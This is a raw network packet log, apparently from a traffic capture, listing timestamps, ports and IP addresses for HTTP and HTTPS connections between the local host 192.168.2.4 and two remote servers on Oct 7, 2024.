Oct 7, 2024 03:15:49.114150047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114159107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114186049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114193916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114223957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114229918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114259958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114265919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114295006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114309072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114331961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114331007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114366055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114375114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114403009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114408970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114437103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114445925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114473104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114480019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114507914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114515066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114543915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114548922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114576101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114584923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114614964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114619970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114650011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114682913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114703894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114703894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114717007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114751101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114767075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114767075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114785910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114793062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114820957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114836931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114865065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.681840897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.682085037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.686774969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.686862946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:50.634529114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:50.634654045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:50.898051023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:50.902924061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:51.505513906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:51.505558968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:51.505659103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:51.505695105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:51.509407997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:51.514224052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.137052059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.137100935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.137156963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.137192965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.223520994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.223786116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.241079092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.246119022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.859652996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.859802008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.895606041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.895771980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900536060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900615931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900629997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900645018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900679111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900707006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900707960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900722980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900748968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900768042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900842905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900856018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900870085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900876045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900893927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900897980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900907040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900926113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900930882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900955915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900968075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900975943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900981903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.900991917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.900998116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901009083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901026011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901043892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901056051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901071072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901073933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901109934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901118994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901154041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901164055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901174068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.901206017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.901221037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.905445099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.905507088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:52.905572891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.905877113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.905905008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906018019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906032085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906056881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906069994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906095982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906151056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906210899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906224012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906239033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906284094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906332970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906346083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906387091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906399965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906438112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906450033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906486988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906498909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906526089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906538963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906585932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906598091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906620979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906634092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906657934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906682014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906752110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906764984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906804085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906816959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906851053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906862974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906887054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906898975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906943083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906955957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906977892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.906991005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.907023907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.907037020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.907052040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.910362959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.910389900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:52.910403013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:54.138382912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:54.138453007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:54.142750025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:54.147578001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:54.816106081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:54.816235065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:54.916484118 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:54.916524887 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:54.916605949 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:54.916987896 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:54.917001009 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.584779978 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.585086107 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.614474058 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.614509106 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.615453005 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.624562979 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.667416096 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.726145029 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.726207018 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.726254940 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.726327896 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.726352930 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.726365089 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.726438999 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.815541029 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.815599918 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.815655947 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.815670013 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.815725088 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.815725088 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.817315102 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.817363024 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.817408085 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.817414045 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.817441940 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.817517996 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.906196117 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.906255960 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.906306028 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.906316996 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.906358004 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.906461000 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.907150984 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.907193899 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.907259941 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.907259941 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.907265902 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.907402039 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.907875061 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.907918930 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.907948971 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.907953978 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.908010960 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.908010960 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.909013033 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.909073114 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.909095049 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.909099102 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.909148932 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.909148932 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.996990919 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.997010946 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.997117043 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.997128010 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.997396946 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.997780085 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.997795105 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.997884989 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.997890949 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.998090029 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.998110056 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.998112917 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.998123884 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.998193026 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.998193026 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.999217987 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.999233961 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.999306917 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.999314070 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.999411106 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.999871969 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.999887943 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:55.999952078 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:55.999958038 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000180006 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000601053 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000621080 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000667095 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000673056 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000711918 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000711918 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000726938 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000792980 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.000844955 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000844955 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000988007 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.000998974 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.001022100 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.001027107 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.048327923 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.048393965 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.048495054 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.050987959 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.051012993 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.051116943 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.051402092 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.051460981 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.051515102 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.052463055 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.052483082 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.053797007 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.053853035 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.053910971 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.053921938 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.053946018 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.054022074 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.054037094 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.054162979 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.054177046 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.054897070 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.054939032 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.054992914 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.055093050 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.055104971 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.616874933 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.617630005 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.617670059 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.618150949 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.618158102 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.699969053 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.700566053 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.700584888 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.701097012 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.701105118 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.711209059 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.711766005 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.711786032 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.712291002 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.712300062 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.714811087 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.715183973 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.715218067 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.715591908 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.715603113 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.718508959 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.718890905 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.718918085 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.719270945 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.719278097 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.765166044 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.765242100 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.765429974 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.765533924 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.765552998 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.765563965 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.765568972 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.768852949 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.768906116 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.769072056 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.769263029 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.769279003 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.799839973 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.799868107 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.799938917 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.799957037 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.799998045 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.800123930 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.800177097 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.800331116 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.800548077 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.800563097 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.800571918 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.800579071 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.806046963 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.806087971 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.806157112 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.806395054 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.806416988 CEST	443	49747	13.107.246.45	192.168.2.4
